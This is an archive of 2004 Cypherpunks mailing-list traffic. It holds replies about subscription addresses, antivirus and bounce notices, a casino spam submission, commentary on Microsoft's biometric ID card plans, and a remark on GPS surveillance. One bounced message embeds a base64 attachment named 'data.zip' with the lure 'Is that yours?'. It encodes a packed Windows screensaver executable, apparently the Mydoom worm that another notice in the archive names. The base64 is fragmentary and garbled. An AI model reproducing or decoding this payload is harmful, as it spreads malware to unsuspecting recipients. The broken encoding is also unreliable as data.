Re: Authentification required. Read the attachment!

[Steve Furlong]

On Wed, 2004-02-25 at 22:00, Jim Choate wrote:
> > TO SUBSCRIBE to Cypherpunks, one should send a message to ONE of the following
> > addresses:
> >
> > [EMAIL PROTECTED]
> > [EMAIL PROTECTED]
> > [EMAIL PROTECTED]
> 
> There is no SSZ node anymore.

LNE, neither.

Try

[EMAIL PROTECTED]
[EMAIL PROTECTED]

Re: Authentification required. Read the attachment!

[Jim Choate]

On Wed, 25 Feb 2004 [EMAIL PROTECTED] wrote:

> TO SUBSCRIBE to Cypherpunks, one should send a message to ONE of the following
> addresses:
>
>   [EMAIL PROTECTED]
>   [EMAIL PROTECTED]
>   [EMAIL PROTECTED]

There is no SSZ node anymore.


 -- --

  Open Forge, LLC  24/365 Onsite Support for PCs, Networks, & Game Consoles
  512-695-4126 (Austin, Tx.)[EMAIL PROTECTED]

  Hangar 18  Open Source Distributed Computing Using Plan 9 & Linux
  512-451-7087   http://open-forge.org/hangar18

  James Choate512-451-7087 [EMAIL PROTECTED][EMAIL PROTECTED]

Report to Recipient(s)

[stllnhub01/svrs/sial]

Incident Information:-

Originator: [EMAIL PROTECTED]
Recipients: [EMAIL PROTECTED]
Subject:    failure notice

The file mime001.txt (data.zip) you received was infected with the W32/Mydoom.f.zip virus and was deleted.

failure notice

[MAILER-DAEMON]

Hi. This is the qmail-send program at smtp2.123.net.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<[EMAIL PROTECTED]>:
63.112.169.25 does not like recipient.
Remote host said: 550 5.1.1 <[EMAIL PROTECTED]>... User unknown
Giving up on 63.112.169.25.

--- Below this line is a copy of the message.

Return-Path: <[EMAIL PROTECTED]>
Received: (qmail 76082 invoked by uid 93); 25 Feb 2004 23:07:35 -
Received: from [EMAIL PROTECTED] by smtp2.123.net 
Received: from secure.123.net (216.234.97.10)
  by smtp2.123.net with SMTP; 25 Feb 2004 23:07:34 -
Received: (qmail 79656 invoked from network); 25 Feb 2004 23:07:16 -
Received: from unknown (HELO minder.net) (216.234.123.54)
  by mail.mich1.net with SMTP; 25 Feb 2004 23:07:16 -
From: [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject: RE: DETAILS
Date: Wed, 25 Feb 2004 15:06:59 -0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="=_NextPart_000_0010_CCFA8D31.6908F2D5"
X-Priority: 3
X-MSMail-Priority: Normal
X-Qmail-Scanner-Message-ID: <[EMAIL PROTECTED]>

This is a multi-part message in MIME format.

--=_NextPart_000_0010_CCFA8D31.6908F2D5
Content-Type: text/plain;
charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Is that yours?


--=_NextPart_000_0010_CCFA8D31.6908F2D5
Content-Type: application/octet-stream;
name="data.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename="data.zip"

UEsDBAoAAN24WTCSc1sv7YcAAO2HAAAIZGF0YS5zY3JNWpAAAwQAAAD//wAAuAAA
AABAAADYDh+6DgC0Cc0huAFM
zSFUaGlzIHByb2dyYW0gY2Fubm90IGJlIHJ1biBpbiBET1MgbW9kZS4NDQok

AABQRQAATAEDAOAADwELAQcAAHAA
AAAQYAAAsNBw4ABQAAAQAgAABAAEAADwEAAA
AAIAABAAABAAEAAAEBAAAOjhAAAwAQAAAOAAAOgB

AFVQWDAAAGAA
AAAQAAQAAIAAAOBVUFgxAABwcGQE
AABAAADgLnJzcmMAEOAEaAAAQAAAwAAA






AAAx
LjI0AFVQWCEMCQIJU5iLaBhs71XhtQAAoWCaAAAmBABE7oeikABkNFAAXAOapmmaVExEPDQs
aZqmaSQcFAwE0zTNsvwz9Ozk3OsOM03QyADAC7gDpmmaprCopJyUmqZpmoyEfHRsYOmapmlYUEhA
YzinaZqmMCgcFAyapll2A/gy8Ozk4GKbpmnYzMC4MovTNJ3ZfzIDoJiQTdM0TYiAeHBsaDRN0zRg
WFBMQNM0Tdc4ZzAoJBw72TRNFBAE/DH0B957m67oA+DYMZ+b5zQPnemTMQOUEzExmq4ZzDegmAOQ
jGyapmmIgHhwEEf/d26zCPxG7wOKnVrQ2uX0Bh8zTv9sck7YApdfksgBPXy+Q0uW5DWJ4DqX
91rAKZUEdutj3v9c3WHocv+PIrhR7Ywu03sm1E058KppOFC+efEdK5orb2+rMKyKpsyS
2NPy++zCxpantIdudUN3GMXph1E4/6uqkBw5jlty8oAm/d9AoQRX20a0JZkQigeHCpAZpaWo
/663w9Lk+REsSmuPtuANPXCm3xtanOEpdMITZ74YddU4/54Hc+JUyUG8Ors/xlDdbQCW
L8tqDLFZBLJjF86IRQXI/94SI/KImHJMKgvv1sCtnZCGf3t6nIGHtamywN74NTVY/363
0wI0WaHcKg+f5jA9zSB2ryuK7FG5UZITd+5o52Xo/2r3g4OGjJWhtMLX7wooSW2UzusbTpS9
+Th6vwdQoPFF//8b/5z2Q7MWbOVRC7cfmgiZHaQuu0vOdA2pSOqP/zfikEH1rAYj4xpsNQHQ
ondPKgjpzbSei3tuZF1ZWFpf/2dygJGlALbzEzpchbHgEkd/uvg5fcQOW6v+VK0JaMov
/5cCcOFVzEbDQ8ZM1WFhZGpzf46gtc3oBidLcpzJ+Sxi/5vXFlid5TB+zyN61DGR9FrDL54Q
hf149nf7ggyZfOwK/9uHJshtFfBuH9OaRAHBhEoT36qAVS0I5serknxpWUxC/zu3Njjd
EAAGXoOatNHxNDpjj/7wJV2O1hdbpuw5idwy/4vnRqgNdeBOv3OqJEF09HKBPz9CSFFNbH6T
y8bkBStQ/3qnzQpAebX0NnvDDlytAViyT2/S+KENfO5j21bUVdlg/+p3B5owyWUEpkvz
nkz9sWgi359iKPG9jF4zC+bEpYlw/1pHNyogGRUUFhsjLjxNYXiSr8/yGEFtnM4DO3a09TmA
/8oXZ7oQacUkhutTviydEYgCf/+CCJEdHSAmLztKXHGJ/y/8/6TC4wcuWIW16B5Xk9IUw+w6
i982kO1NsBZ//+tazEG5NLIztz7IVeV4DqdD4oQp0Xwq249GAL19QAbP/5tqPBHpxKKD
Z044JRUI/vfz8vT5AQwaKz9WcI2t0PYf/0t6rOEZVJLTF16o9UWY7kejAmTJMZwKe+9m4F3d
YOZv//v7/gQNGSg6T2eCoMHlDDZjk8b8NXGw8jd/yhhpvRRu/8srjvRdyTiqH5cSkBGV
HKYzw1bshSHAYgevWgi5bSTe/5tbHuSteUga78eigGFFLBYD8+bc1dHQ0tff6vgJHTRO
/2uLrtT9KViKv/cycLH1PIbTI3bMJYHgQqcPeuhZzUS+/zu7PsRN2dnc4uv3BhgtRWB+n8Pq
FEFxpNoTT47QFV2o/zf+//ZHm/JMqQls0junFoj9dQPvc/qEEaE0ymP//55A1KMK0pceUuRY
NfXAgrpK4rdgAuFAQjn04f7QurOv/4iwtZvN1jQkHCbZaY2zYzZ3JmIq77GElQn2mtIP4TXf
/5XhZAVEU5XXtxNKGxyf3fGi9mnmFCoJ9NzBXr4fzIha6f+l/6YykmGk2BfxQ7uzKEKKey8h
BIJN3t3///9/kRCzMq4nEn95qsQ3q5PBmh0wPqMaRG2LXx7lukux/4lgu

its me

[webmasters]

<>

Your Inquiry

[arty arun]

Below is the result of your feedback form.  It was submitted by
arty arun ([EMAIL PROTECTED]) on Wednesday, February 25, 2004 at 12:24:27
---

qRFqWfUoCM28938: Test your luck at The Grand Phoenician, The JACKPOT 
is well over eight hundred thousand dollars, you can and will 
be our next HIGH ROLLER. Be sure to stop by and play today.
Please copy and paste this link into your Web-Browser
http://www.gamblingcasinoes.net/_dd15f4abc3faff8f3c43ac8a3f66f869/
If you do not copy and paste that exact link into your Web-Browser you will 
not recieve your free chance to win the jackpot!

---

Re: Microsoft Plans Biometric ID Cards

[sunder]

No doubt such a card will automatically be linked to a Microsoft Passport 
account, Microsoft Wallet, etc. to make sure that the violation of your 
privacy can continue  unhindered.

No doubt, the 2nd step will be to either add an RFID chip inside it plus a 
reader on the PC... Or setting the next Microsoft PC spec to include a 
barcode/RFID reader on the PC.  (Or perhaps this is already in the spec, 
just not advertised?)

Then you'll need to login with the card, and activating Windows XP, etc. 
will require the card; all Office documents will be signed/stamped with a 
GID that matches said card, etc...  Hell, it might as well be your SSN... 
After all, continuing abuse of the social security numbers meets all 
Microsoft criteria for such a thing: it's a sensitive number, that when 
handled in an unsecure way (Microsoft's modus operandi, of course) it's 
guaranteed to open you up to ID, financial, and privacy theft...

That said, "Backdoor*" Billy Gee is about two and half years late to share 
the feed through at the scummy emperor of privacy invasion:

You see, both Larry "I wear a kimono" Ellison, and Scooter (formerly known 
as the "The Dot in dot com" CEO) both had immediate wet dreams of a 
national ID card right after 9.11.2001.  Of course, the former wanted it to 
involve Oracle, the latter wanted it to be on a Java smartcard...  uh huh...

Yes, we all know great government issued ID's worked to prevent the 
disposable terrorists of 9.11.  I'm sure that the Microsoft ID will work 
even better in making us just even more "secure."

* "Secure" is a newspeak marketing feechure checklist item which is to be 
translated the same way as the word love in Ministry of Love, the word 
peace in the Ministry of Peace, the word truth in the Ministry of Truth.

* Backdoor in this case refers not to Billy's preference of human 
interaction, but rather to the 'More "Secure" than before' feature of 
Windows XP which was made famous by various trojans, worms, and other 
self-replicating bits of code.

R. A. Hettinga wrote:



DATE: 25/02/2004
Microsoft Plans Biometric ID Cards

Microsoft Plans Biometric ID Cards

[R. A. Hettinga]

DATE: 25/02/2004
Microsoft Plans Biometric ID Cards


Microsoft Corp yesterday announced that it plans to get into the identity
card business, as it lifted the veil on software, under the name
Tamper-Resistant Biometric Ids, it currently has under development.

 Demonstrated during Bill Gates' keynote address at the RSA Conference
yesterday, the software comprises a system for producing cards and
subsequently verifying that they have not been altered.

 Cards would consist of a photograph of the bearer, along with some
personal information such as date of birth. The photo and the data would be
hashed and stored in a two-dimensional color "bar code" on the card itself.

 Tampering could be subsequently detected by scanning the entire card and
reperforming the hash, to see if it matched the one on the card. The word
"biometric" seems to be loosely applied here to the fact that the cards
carry photographs.

 Gates did not give a firm data for when the company expects to come to
market with this technology, but it was suggested that it will not be this
year.
Terms & Conditions | Privacy Policy | Add to Favorites
 Copyright | ComputerWire 2004

 

-- 
-
R. A. Hettinga 
The Internet Bearer Underwriting Corporation 
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'

failure notice

[MAILER-DAEMON]

Hi. This is the qmail-send program at proton.positive-internet.com.
I'm afraid I wasn't able to deliver your message to the following addresses.
This is a permanent error; I've given up. Sorry it didn't work out.

<[EMAIL PROTECTED]>:
vdeliver: Destination directory does not appear to be a maildir.
I'm not going to try again; this message has been in the queue too long.

--- Enclosed is a copy of the message.
--- Begin Message ---
--  Virus Warning Message (on svos16)

Found virus WORM_MYDOOM.A in file loloesp.pif (in loloesp.zip)
The uncleanable file is deleted.

If you have questions, contact HELPDESK

-
The message cannot be represented in 7-bit ASCII encoding and has been sent as a 
binary attachment.


--  Virus Warning Message (on svos16)

loloesp.zip is removed from here because it contains a virus.

 End Message ---

Re: GPS Goes to Court

[Declan McCullagh]

On Mon, Feb 16, 2004 at 03:04:19PM -0800, John Young wrote:
> So when does illegal-GPS-bit Jim Bell get out of the pokey 
> and a public apology from the DEA (who planted it), IRS (who
> asked for it), Treasury (who wanted to nail a tax-dissident)

Whatever the merits of Jim Bell's arguments, it does appear that the
Feds who snooped on him had (sadly, not-difficult-to-obtain) court
authorization.  So I don't see how this ruling would make a
difference, even if it had happened before Bell's self-immolation on
the stand and subsequent conviction. --Declan